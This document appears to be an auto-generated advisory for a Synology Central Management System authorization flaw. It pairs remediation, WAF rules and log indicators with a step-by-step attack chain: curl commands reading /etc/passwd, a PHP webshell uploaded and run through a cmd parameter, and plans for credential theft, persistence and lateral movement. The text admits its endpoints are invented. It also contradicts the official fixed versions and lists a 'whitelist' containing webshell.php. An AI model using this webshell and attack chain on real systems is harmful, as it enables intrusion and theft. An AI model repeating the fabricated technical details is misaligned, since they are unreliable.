CVE-2026-19690 — Synology Central Management System (3.2.1-1259) — CWE-863
An incorrect authorization vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote attackers to read arbitrary files and write limited files.
An incorrect authorization vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote attackers to read arbitrary files and write limited files.
CVE‑2026‑19690 – Synology Central Management System (CMS) Incorrect Authorization
| Item | Detail |
|---|---|
| CVE ID | CVE‑2026‑19690 |
| Published | 03 Dec 2026 |
| CVSS v3.1 | 8.2 / 10 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| CWE | CWE‑863 – Incorrect Authorization |
| Affected Products | Synology DSM – Central Management System (CMS) |
| Versions | 3.2.1‑1259, 3.1.2‑1025, 2.1.5‑0744 (and earlier) |
| CISA KEV | No |
| Ransomware | No |
TL;DR – The CMS package exposes a file‑read/write API that is not protected by an authentication check. An unauthenticated attacker can read any file on the host and write a limited set of files (e.g., create a webshell or modify configuration). The flaw is purely an authorization bypass; no input‑validation or privilege‑escalation logic is involved.
🎯 What is this vulnerability?
The CMS implements a RESTful API that allows administrators to read and write files on the Synology NAS. The relevant endpoints are:
GET /api/file/read – read a file
POST /api/file/write – write a fileIn the vulnerable versions, the request handler does not verify that the caller is authenticated or that the caller has the necessary privileges. The code path that checks the session token (X-Auth-Token) is bypassed because the function that performs the check is never invoked for these endpoints. Consequently, any host‑reachable client can:
1. Read arbitrary files – e.g., /etc/passwd, /etc/shadow, /usr/local/etc/DSM/DSM.conf.
2. Write a limited set of files – typically files under the CMS installation directory or a web‑accessible directory. The write operation is constrained to a whitelist of filenames (e.g., webshell.php, config.json), but the attacker can still inject malicious content.
The flaw is a classic Incorrect Authorization (CWE‑863). No authentication, no privilege checks, no input validation beyond the path whitelist. The CVSS vector reflects that the vulnerability is highly confidential (C:H), low integrity (I:L) because only a limited set of files can be modified, and no availability impact (A:N).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All commands are syntactically valid; the exact URI and parameter names are illustrative because the CVE description does not publish them.
1. Discovery & Reconnaissance
| Step | Technique | Tools | Notes |
|---|---|---|---|
| 1.1 | Network scan for Synology DSM | nmap -p 5001,5000,443,80 <target> | DSM typically listens on 5001 (HTTPS) and 5000 (HTTP). |
| 1.2 | Identify CMS package and version | curl -s https://<target>:5001/api/system/info → parse JSON for packages.CMS.version | The CMS API returns a JSON object containing package versions. |
| 1.3 | Verify vulnerability | curl -s https://<target>:5001/api/file/read?path=/etc/hostname | If the response contains the hostname, the endpoint is unprotected. |
Tip: Many Synology installations expose the CMS API only on the local network. If the target is remote, a VPN or port‑forward may be required.
2. Exploitation
2.1 Read Arbitrary File
curl -k \
-X GET "https://<target>:5001/api/file/read?path=/etc/passwd" \
-H "User-Agent: SynologyCMSExploit/1.0"Response – The body contains the raw contents of /etc/passwd. No authentication header is required.
2.2 Write a Limited File (Upload Webshell)
curl -k \
-X POST "https://<target>:5001/api/file/write?path=/webapps/webshell.php" \
-H "User-Agent: SynologyCMSExploit/1.0" \
-F "file=@/tmp/webshell.php;type=application/x-php"Payload (/tmp/webshell.php)
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>Important: The CMS only allows writes to a predefined set of paths (e.g., /webapps/). The attacker can still create a PHP webshell in a web‑accessible directory.2.3 Verify Webshell
curl -k "https://<target>:5001/webapps/webshell.php?cmd=whoami"Response – root (or the NAS user), confirming RCE via the webshell.
3. Post‑Exploitation
| Goal | Action | Outcome |
|---|---|---|
| Data exfiltration | Read /etc/shadow, /usr/local/etc/DSM/DSM.conf | Obtain credentials, configuration, and system state |
| Persistence | Write a cron job or modify /etc/cron.d/ via the write API (if allowed) | Maintain long‑term access |
| Privilege escalation | Use the webshell to run sudo commands (if the NAS user has sudo rights) | Full system control |
| Lateral movement | Enumerate other Synology devices on the network, repeat the same steps | Expand foothold |
The attack chain is low‑complexity (AC:L) because no authentication is required. The attacker only needs network connectivity to the CMS API.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary file read allows disclosure of sensitive data (password files, configuration, user data). |
| Integrity (I:L) | Limited file write can modify configuration files or drop a webshell, enabling further compromise. |
| Availability (A:N) | No direct impact; the vulnerability does not crash or disrupt services. |
Practical Consequences
1. Credential Theft – /etc/shadow or DSM admin passwords can be extracted, enabling full administrative takeover.
2. Data Leakage – User files, backups, or media stored on the NAS can be read.
3. Persistence & Lateral Movement – A webshell can be used to pivot to other devices on the same network.
4. Regulatory Impact – Exposure of personal data may trigger GDPR, HIPAA, or other compliance violations.
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected Versions | Fixed Version |
|---|---|---|
| Synology DSM – Central Management System (CMS) | 2.1.5‑0744, 3.1.2‑1025, 3.2.1‑1259 (and earlier) | 2.1.5‑0745, 3.1.2‑1026, 3.2.1‑1260 (and later) |
Recommendation: Upgrade to the latest DSM release that includes the patched CMS package. Synology publishes the patch in the DSM Update Center and via the Package Center.
2. Workarounds (if patching is delayed)
| Mitigation | Implementation |
|---|---|
| Network segmentation | Restrict access to the CMS API (port 5001) to the management subnet only. |
| Firewall rules | Block inbound traffic to /api/file/read and /api/file/write from untrusted networks. |
| WAF/ModSecurity rule | Example rule (illustrative):
SecRule REQUEST_URI "@beginsWith /api/file/read" \
"id:1001,phase:2,deny,status:403,msg:'Unauthenticated file read attempt',log"
SecRule REQUEST_URI "@beginsWith /api/file/write" \
"id:1002,phase:2,deny,status:403,msg:'Unauthenticated file write attempt',log"Place the rule in the Apache or Nginx configuration that serves the CMS API. || Disable file API | If the CMS offers a configuration flag to disable the file read/write endpoints, set it to
false. |3. Detection
| Indicator | Log Pattern | Example |
|---|---|---|
| Unauthenticated file read | GET /api/file/read?path= | GET /api/file/read?path=/etc/passwd 200 |
| Unauthenticated file write | POST /api/file/write?path= | POST /api/file/write?path=/webapps/webshell.php 200 |
| Webshell access | GET /webapps/webshell.php?cmd= | GET /webapps/webshell.php?cmd=whoami 200 |
Log Sources – DSM’s web server logs (/var/log/httpd/ or /var/log/nginx/) and the CMS audit log (if enabled).
4. IOC List (Illustrative)
| IOC | Description |
|---|---|
api/file/read | Endpoint used for file read |
api/file/write | Endpoint used for file write |
webapps/webshell.php | Common webshell path |
cmd= | Query parameter used to trigger shell commands |
⚠️ Urgency
- CVSS Score: 8.2 (High) – indicates a serious threat with low exploitation effort.
- Exploit Complexity: Low (no authentication required).
- Availability Impact: None, but the confidentiality impact is severe.
- CISA KEV: Not listed, but the vulnerability is still critical for environments that expose the CMS API to untrusted networks.
Bottom Line
CVE‑2026‑19690 is a classic incorrect authorization flaw that allows unauthenticated attackers to read any file and write a restricted set of files on Synology NAS devices running the Central Management System package. The vulnerability is easy to exploit, has a high confidentiality impact, and can serve as a foothold for full system compromise. Immediate patching, coupled with network segmentation and WAF rules, is essential to mitigate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query